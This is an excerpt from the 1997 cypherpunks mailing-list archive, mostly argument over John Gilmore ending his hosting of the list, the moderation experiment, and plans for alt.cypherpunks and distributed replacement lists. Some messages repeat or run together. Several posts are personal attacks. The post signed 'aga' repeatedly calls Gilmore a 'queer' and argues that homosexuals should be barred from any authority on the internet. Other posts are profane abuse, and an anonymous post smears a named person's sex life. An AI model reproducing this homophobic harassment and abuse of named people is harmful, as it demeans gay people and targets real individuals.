Guides. That starts on Monday, when they begin accepting applications. The next will be to market the site in a way that gets people to the front door. Internet of the people, for the people and by the people, it has a nice ring to it... I'm sure we'll hear more about this when the site officially launches in April. For more info, check out < http://www.miningco.com >, sometime on Monday, they will make a lot more information available there than the "coming soon" that was there as of this writing. Member Internet Society - Certified BETSI Programmer - Webmistress *********************************************************************** Carol Anne Braddock (cab8) carolann at censored.org 206.42.112.96 My Homepage The Cyberdoc *********************************************************************** From trustme at dev.null Tue Feb 11 23:35:24 1997 From: trustme at dev.null (Trust Me) Date: Tue, 11 Feb 1997 23:35:24 -0800 (PST) Subject: whois cypherpunks.org ? In-Reply-To: <9702111643.ZM18@razor.engr.sgi.com> Message-ID: <33018CAD.2612@dev.null> Anil Das wrote: > Both cypherpunks.org and cypherpunks.com are registered by one > Elias M. Levy in Ft. Meade, MD. I haven't seen his name on the list > though. Anybody knows more about this? Anil, Just because Ft. Meade, MD, is the home of several billion government subversive organizations is no reason for suspicion. Trust Me From trustme at dev.null Wed Feb 12 00:20:00 1997 From: trustme at dev.null (Trust Me) Date: Wed, 12 Feb 1997 00:20:00 -0800 (PST) Subject: Network of majordomos In-Reply-To: <3.0.32.19970211162813.006de930@mail.io.com> Message-ID: <330190FF.232B@dev.null> Greg Broiles wrote: > I sent a proposal to alt.config last night and intend to newgroup > alt.cypherpunks in a week or so Is this a follow-up to your suggestion to kill the list? The list that you stated you were leaving because you don't think it's worthy of subscribing to? Is there any particular reason you want to redirect the future of a list that you want killed and no longer want to subscribe to? Just asking. Trust Me (<--shouldn't this be 'your' sig?) From jer+ at andrew.cmu.edu Wed Feb 12 00:21:39 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Wed, 12 Feb 1997 00:21:39 -0800 (PST) Subject: List! No Way: Creation of "alt.cypherpunks" In-Reply-To: Message-ID: <0n0Lk8200YUd18lWc0@andrew.cmu.edu> -----BEGIN PGP SIGNED MESSAGE----- "Timothy C. May" writes: > At 7:11 PM +0000 2/11/97, Attila T. Hun wrote: > > I vote we just set up a new majordomo with some additional antispam > > filters including knocking out exploding mail headers, etc. I would > > accept excluding non-members as long as we take the remailers which > > are listed with either JP or RL. > > This is a suggestion I have long thought to be a good one. Only allow posts > from list subscribers, and make a special exception for remailers by adding > them to the approval list. Figure if a spammer is smart enough to know what > a remailer is, at least see her traffic for a while. Drop the inclusion of > remailers if volume is too high. A couple of "me too"s: Low volume spam via remailers increases the strength of the remailer net. Yay! Not allowing non-subscribers to post is not a problem is the mailing list is linked to the usenet version. The people who read/post to cypherpunks via a newsgroup interface now can just use the real newsgroup. Also, people who don't get alt.* and don't want to use dejanews can sub to the list version. Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBMwF8A8kz/YzIV3P5AQG+UgL+OPshqmTH8uLZw8gj/9OhrJ3qz+h8mo0t g+KY2rlNLgmMP9AJoGszlc02jNOxWKahBMT/tLWztBG4g3/0Jy4IIFMU0gRz9t/2 pRNwig+MHm5EvhClMeva3rhVe/7t0Fz9 =Xaaf -----END PGP SIGNATURE----- From aba at dcs.ex.ac.uk Wed Feb 12 01:10:48 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Wed, 12 Feb 1997 01:10:48 -0800 (PST) Subject: List! No Way: Creation of "alt.cypherpunks" In-Reply-To: <199702111932.MAA23647@infowest.com> Message-ID: <199702062141.VAA00241@server.test.net> Attila T Hun writes: > tim: > > two points you make: > > 1. the propogation is slow... > > 2. some sites do not carry alt. groups > > are enough to kill an active discussion list. of course, it does > slow down excessive volume. Is there any offline newsreading software for linux? (Something to grab feeds from an NNTP server of selected newsgroups to put in /usr/spool/news/, and something to queue posts for posting via NNTP when on line) (My difficulty with USENET groups is that we have pay per second phone bills over here, and online USENET reading is inefficient, that plus propogation delays). Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Message-ID: <199702062136.VAA00239@server.test.net> Igor Chudov writes: > so we have myself, Jim Choate, and you who colunteer to host > mailing lists for the distributed cypherpunks. > > I have already created majordomo at algebra.com and cypherpunks at algebra.com. > > We can coordinate our efforts. Actually, we can even have a mini > mailing list for people who want to participate in the distributed > cypherpunks experiment. If there is any interest, I can create such > a list. Please do. Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Message-ID: <199702120947.DAA01858@manifold.algebra.com> Adam Back wrote: > > > Igor Chudov writes: > > so we have myself, Jim Choate, and you who colunteer to host > > mailing lists for the distributed cypherpunks. > > > > I have already created majordomo at algebra.com and cypherpunks at algebra.com. > > > > We can coordinate our efforts. Actually, we can even have a mini > > mailing list for people who want to participate in the distributed > > cypherpunks experiment. If there is any interest, I can create such > > a list. > > Please do. The list is called cypherpunks-hosts at algebra.com. Use majordomo at algebra.com to sub-scri-be. - Igor. From paul at fatmans.demon.co.uk Wed Feb 12 02:07:51 1997 From: paul at fatmans.demon.co.uk (Paul Bradley) Date: Wed, 12 Feb 1997 02:07:51 -0800 (PST) Subject: New group Message-ID: <33019178.58622842@news.demon.co.uk> Hi all, Well despite the obvious problems of propogation I thought it was time someone actually did something to get us a new home, even if it`s only temporary. So I have created alt.cypherpunks... See you all over on usenet!... Best regards... Paul Bradley From paul at fatmans.demon.co.uk Wed Feb 12 02:15:05 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 02:15:05 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <855738588.515142.0@fatmans.demon.co.uk> > Sandy hit a pothole in the moderation experiment when Mr. Nemesis > submitted a posting containing nothing but libelous statements about > Sandy's employer. He never anticipated that he wouldn't be able to > follow his announced "post it to one list or the other" policy because > to do so would make him legally liable (in his opinion; he's a lawyer, > I'm not). His gears jammed, and the whole machine came to a halt for > a few days. No, I think you are mistaken. If you take this as a pothole then there was very little road throughout the entire "moderation experiment". At the end of the day Sandfort discarded articles he didn`t like without posting them to either list and routed all criticism of his censorhip to the shit can. > Now each of these posters will get their chance to do it "right" -- > on their own time and with their own resources. As I said, you have dragged the lists name down with you. It is better that you close the list down now so it is no longer associated with a fascist such as yourself. > A large fraction of the list seems to think that "freedom of speech" > means that everyone is required to listen to everyone else at all > times. That there can't be focused, topical conversations in a > society that has freedom of speech. I would say the opposite; part of > freedom of speech is the freedom to choose to whom we speak and to > whom we listen. This is part of what cryptography does: lets us > control who can receive our speech, and lets recievers determine who > the speaker is. This is accepted by many members of the list including myself, However, I prefer to choose for myself who I listen to and converse with rather than having you or Sandfort decide for me. > To paraphrase Zappa, you wouldn't know censorship if it bit you on the > ass. You think you're being censored when you're just being excluded > from a forum because what you're saying isn't interesting to that forum. And you wouldn`t know an anarchist if he bit you on the ass. Toad was supposed to host a list the purpose of which was to allow people to speak freely and without "moderation". You have censored it and you have fucked up. Face it, you are a fascist. > So anyway, I'm tired of it all. I'd much rather focus on getting my > crypto work done than babysitting majordomo, tracking down attempts to > subscribe the entire US Congress to the list, and debating the seventy > or eighty "obvious right ways" to handle the list. The obvious right way to handle the list, and the way you advocated until your greed for power and fear of criticism warped your judgement, was to run it as a totally free and open list. > This is a "put up or shut up" to the cypherpunks community. This is a "fuck off" to John Gilmore. > The next ten days of moderated discussion, through the end of the > original experiment, will give the community a chance to discuss > whether and where it plans to host the list after the experiment is > over. My feeling is that the stalkers who have been trying to shut it > down (Dimitri, etc) will be out in full force, trying to disrupt the > process of finding a new home. It would be very hard to make progress > along that line in an unmoderated list. Cypherpunks-unedited readers > are welcome to try. Eh? - Dimitri supports fully the aims and idealogies of crypto-anarchy as far as I can see. What he takes issue with is censorship, elitism and hypocisy. I happen to believe the same but I suppose that makes me a "stalker". > Sandy reports that he's changing his criteria for moderation for the > remainder of the experiment. It was his idea, and I approve. The > criteria now are: > > * The topics of the list are: > cryptography > setting up replacements for cypherpunks at toad.com Add praise of Sandfort, Gilmore (fart)(spit) and Sandforts employer to that. > * On-topic, legal, posts will go to the list. Apart from the ones Sandfort doesn`t like. > * Postings with any hint of legal liability (in Sandy's opinion) > will be silently ignored. So will posts which cricise Sandfort (spit), Gilmore (fart), Sameer (piss) or c2net (belch). > * Legal but off-topic posts will go to cypherpunks-flames. Ie. None, because they will all be "silently ignored" by Sandfort. > Sandy will apply these criteria retroactively to the backlog (of about > 140 messages), which means that most recent criticisms of the > moderation (which don't invove someone volunteering to do things for > the list) will go straight to the flames list. If you don't like it, > I recommend that you start your own list. Soon. I shall, and on topic posts shall include those declaring John Gilmore is a cocksucker. And off topic posts will not be censored, so fuck you. Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From agifford at infowest.com Wed Feb 12 02:16:52 1997 From: agifford at infowest.com (Aaron D. gifford) Date: Wed, 12 Feb 1997 02:16:52 -0800 (PST) Subject: Any info on Rep. Goodlatte's SAFE act? Message-ID: <3.0.1.32.19970212031634.006ad598@infowest.com> Does anyone have any information on Congressman Goodlatte's S.A.F.E. act? Aaron out. From chefren at pi.net Wed Feb 12 04:15:37 1997 From: chefren at pi.net (chefren) Date: Wed, 12 Feb 1997 04:15:37 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702121214.NAA19105@mailhost.pi.net> On 11 Feb 97 at 3:54, John Gilmore wrote: > I've come to the conclusion that I'm not willing to host the > cypherpunks list any more. It's not the true assholes that brought me > to this decision; it's the reaction from the bulk of people on the > list: suspicion, flamage, and criticism with every attempt to improve > things. I noticed few people volunteering some of their own time, > money, or machines to help out. Almost all the suggestions were > advice for *other* people to implement: Hm... In the year 1513 or 1514 someone who could be an Honourable Member of this list (if one could be one...) wrote: > There is nothing more difficult to take in hand, more > perilous to conduct, or more uncertain in its success, > than to take the lead in the introduction of a new order > of things. Please stop at looking too much on how people scream about your new ideas and continue this list the way you like it!!! I think it's Your Machine and we have to respect your decision to pull the plug, nobody should blame you for that, but please listen a little to the 1000+ people who don't scream and are obviously happy with the list and respected your right to do the "sandy filter experiment". +++chefren From mfisher at ash.nl Wed Feb 12 04:43:38 1997 From: mfisher at ash.nl (Monica Fisher) Date: Wed, 12 Feb 1997 04:43:38 -0800 (PST) Subject: please Message-ID: <3301BAF6.48F4@ash.nl> Please take mfisher at ash.nl off of your mailing list From aga at dhp.com Wed Feb 12 04:56:55 1997 From: aga at dhp.com (aga) Date: Wed, 12 Feb 1997 04:56:55 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: <33008CCE.28E0@gte.net> Message-ID: On Tue, 11 Feb 1997, Dale Thorn wrote: > John Gilmore wrote: > > Sandy hit a pothole in the moderation experiment when Mr. Nemesis > > submitted a posting containing nothing but libelous statements about > > Sandy's employer. He never anticipated that he wouldn't be able to > > follow his announced "post it to one list or the other" policy because > > to do so would make him legally liable (in his opinion; he's a lawyer, > > I'm not). That was just -bullshit- There is no legal liability whatsoever to the moderating of any mailing list. All Sandy did was make an excuse to be a censor. > > His gears jammed, and the whole machine came to a halt for > > a few days. > The whole machine is broken, so throw it away. > Naturally he hit a pothole. Censorship has its price, and you > folks just discovered it. But censors never give up, do they? > Especially when there are hidden agendas. > > > Sandy has agreed to continue moderation through the end of the > > original 1-month experiment (through Feb 19). And it's a good thing, > > too, because the "cypherpunks community" had better get off its > > whining butt in the next ten days, or it will no longer exist. > > John Gilmore is so disrespectful of the human beings on this list > that he whines and complains about their "attitudes", as though > he had a right to control them. What a jerk. > Yes, and just why is Gilmore such a jerk? Could his homosexuality have anything to do with it? > > I've come to the conclusion that I'm not willing to host the > > cypherpunks list any more. Good. You are a bad example of todays modern CyberNaut Netizen, and queers like you should go away, so we can clean up this InterNet and make it a good place for straight people. > > It's not the true assholes that brought me > > to this decision; it's the reaction from the bulk of people on the > > list: suspicion, flamage, and criticism with every attempt to improve > > things. I noticed few people volunteering some of their own time, > > money, or machines to help out. Almost all the suggestions were > > advice for *other* people to implement: > Maybe they just wanted you to leave, Gilmore. After all, your EFF has ruined the reputation of the InterNet, and your homosexuality is a bad sign. Homos should not be allowed to have any authority positions anyplace on the net. > Not willing because of some additional burden? No. It's because you > were outed as a censor and a jerk, and you can't get back the respect > you previously had. The sour grapes you're displaying here are worthy > of a little child, not an adult. > > > Now each of these posters will get their chance to do it "right" -- > > on their own time and with their own resources. > > Read: I'm gonna take my bat and ball and go home... > Let us hope that the whole EFF goes down the drain with him. > > A large fraction of the list seems to think that "freedom of speech" > > means that everyone is required to listen to everyone else at all > > times. That there can't be focused, topical conversations in a > > society that has freedom of speech. I would say the opposite; part of > > freedom of speech is the freedom to choose to whom we speak and to > > whom we listen. This is part of what cryptography does: lets us > > control who can receive our speech, and lets recievers determine who > > the speaker is. > > Everything was fine until you decided to screw it up. Then your > emotional, denying little brain trys to blame it on everyone else. > Another common sign of a homosexual personality. > > There also seems to be a misunderstanding that freedom of speech > > requires that people who want to speak already have a place, set up > > and maintained by someone else, for them to speak in. > > There are places to speak, and people try to speak in those places. > When they are cut off, then they complain. Nobody complained before > you had an open forum that you weren't providing same. That's your > denial kicking up, not mine. > > > If someone > > who's set up a speech-place decides it isn't being used for its > > intended purpose, then they are a censor, stopping all possibility of > > conversations. Did you forget that there are millions of other places > > to speak in cyberspace, millions more in realspace, and that you can > > personally create more if you don't like any of the ones you know about? > This all goes to usenet as mail.cypherpunks, you know. > Intended purpose? Did you really believe that setting up an open > forum gave you the right (or any option) to control the content? > Are you so immature that you can't handle complaints? > > > To paraphrase Zappa, you wouldn't know censorship if it bit you on the > > ass. You think you're being censored when you're just being excluded > > from a forum because what you're saying isn't interesting to that forum. > Zappa is irrelevant here. And stop trying to sell censorship as whatever is "interesting" to that forum. > I know a lot of things, especially after they've bit be in the ass. > Especially about censors and CIA-related trolls like yourself, who > set up forums to collect info on unsuspecting American citizens. > Made any "yeti" expeditions lately? > > > So anyway, I'm tired of it all. I'd much rather focus on getting my > > crypto work done than babysitting majordomo, tracking down attempts to > > subscribe the entire US Congress to the list, and debating the seventy > > or eighty "obvious right ways" to handle the list. > > Read: I need to find a new troll that's not being sabotaged by > alert citizens. > > > This is a "put up or shut up" to the cypherpunks community. > > Either you list denizens will, among yourselves, put in the energy to > > build a new home for the list (and run it in whatever way your > > volunteers want) by Feb 20, or the list will cease to exist on Feb 20. > You can start any new list you want at cypherpunks at pgh.org They will provide a free address and majordomo location. And the mail.cypherpunks newsgroup shall suffice for now. You leaving is no big thing, dude. > Jeez, do you have an ego or what? Who died and made you the king? > Your only claim to fame is your equipment that's hosting the list. > Your reputation is in the toilet. You're nobody. In fact, you're > less than nobody. Your best bet would be to crawl into a hole and > pull the dirt in over you. > > > The next ten days of moderated discussion, through the end of the > > original experiment, will give the community a chance to discuss > > whether and where it plans to host the list after the experiment is > > over. My feeling is that the stalkers who have been trying to shut it > > down (Dimitri, etc) will be out in full force, trying to disrupt the > > process of finding a new home. It would be very hard to make progress > > along that line in an unmoderated list. Cypherpunks-unedited readers > > are welcome to try. > No, I will fix up a new address where Dimitri or anyone can run the majordomo for free, if he wants. > Yet another accusation that Dimitri's purpose is to "shut it down". > The very fact that it's you who have the com puts the lie to that. > > > Sandy reports that he's changing his criteria for moderation for the > > remainder of the experiment. It was his idea, and I approve. The > > criteria now are: > > Another experiment run by the same incompetent bozo who screwed up > the first experiment. Don't you clowns ever get it? You do, but > then again, you have a hidden agenda. > > > * The topics of the list are: > > cryptography > > setting up replacements for cypherpunks at toad.com > > * On-topic, legal, posts will go to the list. Now just WHAT the fuck do you think is "illegal?" > > * Postings with any hint of legal liability (in Sandy's opinion) > > will be silently ignored. Sandy is not a very smart Lawyer, and he is only using that as an excuse to censor. > > * Legal but off-topic posts will go to cypherpunks-flames. > > > > Sandy will apply these criteria retroactively to the backlog (of about > > 140 messages), which means that most recent criticisms of the > > moderation (which don't invove someone volunteering to do things for > > the list) will go straight to the flames list. If you don't like it, > > I recommend that you start your own list. Soon. > > > > For me it's a sad thing that the community's willingness to pull > > together has degenerated to the point where I feel better off > > separating from the list. I hope that others in the community will > > create one or several alternatives that work better. > Face it John Gilmore, you are a known queer and queers are not allowed to have any authority positions any more, because they are the ones who have aggregated and ruined the InterNet so far. Queers are too unstable and untrustworthy, as has been shown again in this instance. > So you think you've fulfilled your obligation? There's only one > thing that will ever save you. Get down on your knees and confess, > saying to God and the list subscribers what a pathetic sinner you > are, and beg for their forgiveness. Then get to work for the people, > and give up trolling for the feds. > Just get rid of John Golmore, and that will be the first step in the right direction. The entire EFF is a BAD agency and it gives a bad reputation to the rest of us good Organizations. aga administrator InterNet Freedom Council ifc at pgh.org From adam at homeport.org Wed Feb 12 05:02:32 1997 From: adam at homeport.org (Adam Shostack) Date: Wed, 12 Feb 1997 05:02:32 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: <199702120554.VAA07252@toad.com> Message-ID: <199702121259.HAA05261@homeport.org> ichudov at algebra.com wrote: | i have already set up majordomo at algebra.com and cypherpunks at algebra.com | and can join. While compitition is great (I think this is the second replacement list?), having multiple cypherpunks lists is a recipie for confusion and cross-posting, which there is already enough of on cypherpunks. So, I'll make the following suggestion: Those who are willing to create lists work together so that there is a single subscribe address, and a single submit address, however many exploders exist. I would personally prefer to see the name cypherpunks lay fallow for a while, and suggest cpunks or something similar. Note that I'm doing nothing more than making a suggestion. Take it as my considered enthusiasm for the continuation of cypherpunks as a list. Adam -- "It is seldom that liberty of any kind is lost all at once." -Hume From rah at shipwright.com Wed Feb 12 05:22:53 1997 From: rah at shipwright.com (Robert A. Hettinga) Date: Wed, 12 Feb 1997 05:22:53 -0800 (PST) Subject: alt.cypherpunks lives! was Re: New group In-Reply-To: <33019178.58622842@news.demon.co.uk> Message-ID: <199702121322.IAA16222@maildeliver0.tiac.net> (A copy of this message has also been posted to the following newsgroups: alt.cypherpunks) c'punks: I went to look at news this morning, and I found the following: In article <33019178.58622842 at news.demon.co.uk>, paul at fatmans.demon.co.uk (Paul Bradley) wrote: | Well despite the obvious problems of propogation I thought it was time | someone actually did something to get us a new home, even if it`s only | temporary. So I have created alt.cypherpunks... See you all over on | usenet!... It seems this alt.cypherpunks thing was a lot easier than it looks. Either that, or I have a clueful newsadmin. :-) Cheers, Bob -- Robert Hettinga e$ 44 Farquhar Street Boston, MA 02131 The e$ Home Page: http://thumper.vmeng.com/rah/ From 70401.3161 at CompuServe.COM Wed Feb 12 05:25:56 1997 From: 70401.3161 at CompuServe.COM (KENNETH A. LEONE) Date: Wed, 12 Feb 1997 05:25:56 -0800 (PST) Subject: REMOVE MY NAME Message-ID: <970212132408_70401.3161_IHD71-2@CompuServe.COM> PLEASE DO NOT FORWARD FURTHER CYPHERPUNKS MESSAGES TO MY E-MAIL ADDRESS. THANK YOU. From boursy at earthlink.net Wed Feb 12 06:01:23 1997 From: boursy at earthlink.net (ISP_Ratings) Date: Wed, 12 Feb 1997 06:01:23 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: Message-ID: <3301CE12.4388@earthlink.net> aga wrote: > > That was just -bullshit- There is no legal liability whatsoever > to the moderating of any mailing list. All Sandy did was make an > excuse to be a censor. I hate censors Dr. Grubor. Dave says hate is a destructive emotion but when properly channeled it can be quite valuable. >> > His gears jammed, and the whole machine came to a halt for >> > a few days. >> > > The whole machine is broken, so throw it away. > >> Naturally he hit a pothole. Censorship has its price, and you >> folks just discovered it. But censors never give up, do they? >> Especially when there are hidden agendas. And they all have hidden agenda's--you've just seen this one is all as it was so blatant. >> John Gilmore is so disrespectful of the human beings on this list >> that he whines and complains about their "attitudes", as though > > he had a right to control them. What a jerk. > > Yes, and just why is Gilmore such a jerk? Could his homosexuality > have anything to do with it? > I doubt his sexual preference has anything to do with anything nor is it relevant. Gilmore is just a censorous asshole--the reasons for him being that way are rather irrelevant. > Maybe they just wanted you to leave, Gilmore. After all, your EFF has The EFF is a disgrace--they represent the interests of owners not users--their money comes from large corporate sources and they are nothing more than corporate whores as the ACLU has made clear. > Just get rid of John Golmore, and that will be the first step in the > right direction. The entire EFF is a BAD agency and it gives a bad > reputation to the rest of us good Organizations. Gilmore has no ethics--he's owned and operated by corporate interests. Steve > > aga administrator > InterNet Freedom Council > ifc at pgh.org From nobody at wazoo.com Wed Feb 12 06:07:55 1997 From: nobody at wazoo.com (Anonymous) Date: Wed, 12 Feb 1997 06:07:55 -0800 (PST) Subject: URLs for public keys Message-ID: <199702121407.HAA24520@earth.wazoo.com> Deceptive Vinegar's aberrant sexual life has negatively impacted his mental integrity. ____ \ _/__ Deceptive Vinegar \\ / \/ From ravage at einstein.ssz.com Wed Feb 12 06:10:58 1997 From: ravage at einstein.ssz.com (Jim Choate) Date: Wed, 12 Feb 1997 06:10:58 -0800 (PST) Subject: Cypherpunks Distributed Remailer Message-ID: <199702121410.GAA19543@toad.com> Hi, What is the current future of the Cypherpunks webpage? Will it continue to be kept up or is it going down as well? Jim Choate CyberTects ravage at ssz.com From trustme at dev.null Wed Feb 12 06:11:05 1997 From: trustme at dev.null (Trust Me) Date: Wed, 12 Feb 1997 06:11:05 -0800 (PST) Subject: Network of majordomos Message-ID: <199702121411.GAA19573@toad.com> Greg Broiles wrote: > I sent a proposal to alt.config last night and intend to newgroup > alt.cypherpunks in a week or so Is this a follow-up to your suggestion to kill the list? The list that you stated you were leaving because you don't think it's worthy of subscribing to? Is there any particular reason you want to redirect the future of a list that you want killed and no longer want to subscribe to? Just asking. Trust Me (<--shouldn't this be 'your' sig?) From dthorn at gte.net Wed Feb 12 06:11:17 1997 From: dthorn at gte.net (Dale Thorn) Date: Wed, 12 Feb 1997 06:11:17 -0800 (PST) Subject: Germany Versus Scientology Message-ID: <199702121411.GAA19611@toad.com> Evil se7en wrote: > I have posted a rather lengthy story about Germany's war against the > Scientologists. It was long enough to preclude mailing it directly to the > lists, so I have put it on my web site. You may find it at: The L.A. Times ran a very impressive two-page article on this last week. The text compared the current steps by the German govt. to the steps taken against Jews by the Nazi govt. I happen to believe that Scientologists are dangerous, for how quickly they can ruin someone's mental state. But the article is interesting for the comparisons.... From aba at dcs.ex.ac.uk Wed Feb 12 06:11:20 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Wed, 12 Feb 1997 06:11:20 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702121411.GAA19614@toad.com> Igor Chudov writes: > so we have myself, Jim Choate, and you who colunteer to host > mailing lists for the distributed cypherpunks. > > I have already created majordomo at algebra.com and cypherpunks at algebra.com. > > We can coordinate our efforts. Actually, we can even have a mini > mailing list for people who want to participate in the distributed > cypherpunks experiment. If there is any interest, I can create such > a list. Please do. Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Attila T Hun writes: > tim: > > two points you make: > > 1. the propogation is slow... > > 2. some sites do not carry alt. groups > > are enough to kill an active discussion list. of course, it does > slow down excessive volume. Is there any offline newsreading software for linux? (Something to grab feeds from an NNTP server of selected newsgroups to put in /usr/spool/news/, and something to queue posts for posting via NNTP when on line) (My difficulty with USENET groups is that we have pay per second phone bills over here, and online USENET reading is inefficient, that plus propogation delays). Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Greg Broiles wrote: > At 06:59 PM 2/11/97 -0600, Igor Chudov @ home wrote: > > >We can coordinate our efforts. Actually, we can even have a mini > >mailing list for people who want to participate in the distributed > >cypherpunks experiment. If there is any interest, I can create such > >a list. > > Yes, this is a good idea. One of the proponents of the "many majordomos" > project apparently has plans to impose his own ideas about intellectual > property on the project, and this seems like a pretty serious thing for a > setup that's allegedly going to prevent censorship. We need a place to > discuss this. I have acreated a mailing list, cypherpunks-hosts at algebra.com, for people interested in participating in the multi-homed cypherpunks list. You can subscribe to cypherpunks-hosts by talking to majordomo at algebra.com. - Igor. From jer+ at andrew.cmu.edu Wed Feb 12 06:11:33 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Wed, 12 Feb 1997 06:11:33 -0800 (PST) Subject: Germany Versus Scientology Message-ID: <199702121411.GAA19622@toad.com> -----BEGIN PGP SIGNED MESSAGE----- Evil se7en writes: > I have posted a rather lengthy story about Germany's war against the > Scientologists. It was long enough to preclude mailing it directly to the > lists, so I have put it on my web site. You may find it at: > > http://www.dis.org/se7en/ > > with the link being directly under the large "X." I decided to post it > for the reasons that I know several people who suffered directly at the > hands of the Scientologists after trying to infiltrate their organization > via the Internet. These people will recieve this message due to this > posting. Enjoy. Heh, the top German Gov't anti-$cientoligist: "The state is obliged to protect its citizens from totalitarian organizations." I just love this whole thing. It's like two neighborhood bullies going at it in the school yard. It doesn't matter who wins, as long as it's long and bloody. Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBMwFSnckz/YzIV3P5AQH/DwL/aX8VIWcSo7JqQuxL3EgyqOnOyYikRlTh irV8YtXhDlsqbVaZDIPoweE5viibrR0ZrfuCqRm4oClGRvttSJdPxTN5iY5ry+HQ 6HFgT3zWxOH5OSyg/8tz2oVirtCOoGD/ =L0xY -----END PGP SIGNATURE----- From alan at ctrl-alt-del.com Wed Feb 12 06:13:08 1997 From: alan at ctrl-alt-del.com (Alan Olsen) Date: Wed, 12 Feb 1997 06:13:08 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702121413.GAA19649@toad.com> -----BEGIN PGP SIGNED MESSAGE----- At 01:23 PM 2/11/97 -0600, ichudov at algebra.com wrote: >linux with 16 MB ram will probably get you through. I have that available on the current machine. If no one else volunteers and there is interest in continuing the list, I am willing to donate the services of my machine. It is running Redhat Linux 4.0 with 16 megs of ram (soon to be upgraded to 32 or 64 depending on cash) and 3.3 gigs of hard drive. It is connected to the net via a T-1. Should be more than enough to run the list. And, yes, i have run majordomo before... -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAwUBMwFegeQCP3v30CeZAQEjuAf9HujkexOWErjLRt9cd1CtTo6IosU5UPxW 8ovctEooTql6ZPrAkdHWLATwFnInRdFBNRQeKPGCjdyS1U5VpXCDPrG24gs/BUdm ZQLAT8UdCOiS//vb7IXXUeAgvKT4VciqEfw4Z9r9NawDWA0K93Q+d+5iQ5bYxE72 KmEQHseHL/x1mJZ4x3OlVdUmxdpFeFOmIlu3Ik1L372sRTNgM1r7m1psh6gnr6dp mYIwEs3oG3gz0hwDV2FhdIg7O3xLBg80FWKufYylx2Z+3Ezm1wUArFTaFC4LwIvP 8cRGUucGd8GOanSIjaj8d72JQWgRIDRqtkWv9Tlz538n+SygJZBl9w== =0SlX -----END PGP SIGNATURE----- --- | "Mi Tio es infermo, pero la carretera es verde!" | |"The moral PGP Diffie taught Zimmermann unites all| Disclaimer: | | mankind free in one-key-steganography-privacy!" | Ignore the man | |`finger -l alano at teleport.com` for PGP 2.6.2 key | behind the keyboard.| | http://www.ctrl-alt-del.com/~alan/ |alan at ctrl-alt-del.com| From gbroiles at netbox.com Wed Feb 12 06:13:10 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Wed, 12 Feb 1997 06:13:10 -0800 (PST) Subject: List for discussing many majordomos Message-ID: <199702121413.GAA19650@toad.com> -----BEGIN PGP SIGNED MESSAGE----- At 06:59 PM 2/11/97 -0600, Igor Chudov @ home wrote: >We can coordinate our efforts. Actually, we can even have a mini >mailing list for people who want to participate in the distributed >cypherpunks experiment. If there is any interest, I can create such >a list. Yes, this is a good idea. One of the proponents of the "many majordomos" project apparently has plans to impose his own ideas about intellectual property on the project, and this seems like a pretty serious thing for a setup that's allegedly going to prevent censorship. We need a place to discuss this. -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAgUBMwFm8f37pMWUJFlhAQE4uQf/RfjKd++IRYJZyLPRqsh150098IgMY4oE GITsrs9S4N/mCRzjPUYLDmDKmEkGlN3UilQsMVT7QiPA7vxpw3yvOgWEATXMRWo6 46BRFhKHbKupy6uVCbfrNiXRa76JSdWisxi9NzwJK7jmj5g8SsEJW1Z4pij5VYVJ Ck4mVziejIE/uyQ4hzenbS2ZN+EEApoF5dxVbS5rvlk/HEcUxJMUvuoxXiVm+fFQ gs59X/Yj4WtUCNb6STH89Qwdr2RdtK5yvqvP56cMNudIcdK28K/hiEXWtkCSueLu XU1aa02TQMn/oA24iGYpUF9gnjsGgieIJSx7VB96uE9UsOg6i71mIA== =ILiw -----END PGP SIGNATURE----- -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From jer+ at andrew.cmu.edu Wed Feb 12 06:13:13 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Wed, 12 Feb 1997 06:13:13 -0800 (PST) Subject: List! No Way: Creation of "alt.cypherpunks" Message-ID: <199702121413.GAA19653@toad.com> -----BEGIN PGP SIGNED MESSAGE----- "Timothy C. May" writes: > At 7:11 PM +0000 2/11/97, Attila T. Hun wrote: > > I vote we just set up a new majordomo with some additional antispam > > filters including knocking out exploding mail headers, etc. I would > > accept excluding non-members as long as we take the remailers which > > are listed with either JP or RL. > > This is a suggestion I have long thought to be a good one. Only allow posts > from list 